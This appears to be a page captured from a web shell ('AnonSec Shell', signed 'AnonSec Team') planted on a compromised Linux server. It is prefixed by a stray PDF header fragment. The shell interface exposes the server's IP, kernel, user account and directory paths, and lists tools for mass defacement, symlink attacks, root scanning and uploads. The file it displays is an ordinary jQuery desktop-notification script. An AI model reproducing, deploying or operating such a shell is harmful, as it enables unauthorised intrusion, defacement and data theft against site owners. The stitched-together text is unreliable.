%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.216.226   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/admin/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/admin/js/desktop-notification.js
(function($) {
  'use strict';
  $.fn.easyNotify = function(options) {

    var settings = $.extend({
      title: "Notification",
      options: {
        body: "",
        icon: "",
        lang: 'pt-BR',
        onClose: "",
        onClick: "",
        onError: ""
      }
    }, options);

    this.init = function() {
      var notify = this;
      if (!("Notification" in window)) {
        alert("This browser does not support desktop notification");
      } else if (Notification.permission === "granted") {

        var notification = new Notification(settings.title, settings.options);

        notification.onclose = function() {
          if (typeof settings.options.onClose === 'function') {
            settings.options.onClose();
          }
        };

        notification.onclick = function() {
          if (typeof settings.options.onClick === 'function') {
            settings.options.onClick();
          }
        };

        notification.onerror = function() {
          if (typeof settings.options.onError === 'function') {
            settings.options.onError();
          }
        };

      } else if (Notification.permission !== 'denied') {
        Notification.requestPermission(function(permission) {
          if (permission === "granted") {
            notify.init();
          }

        });
      }

    };

    this.init();
    return this;
  };


  //Initialise notification
  var myFunction = function() {
    alert('Click function');
  };
  var myImg = "https://unsplash.it/600/600?image=777";

  $("form").submit(function(event) {
    event.preventDefault();

    var options = {
      title: $("#title").val(),
      options: {
        body: $("#message").val(),
        icon: myImg,
        lang: 'en-US',
        onClick: myFunction
      }
    };
    console.log(options);
    $("#easyNotify").easyNotify(options);
  });
}(jQuery));

Anon7 - 2022
AnonSec Team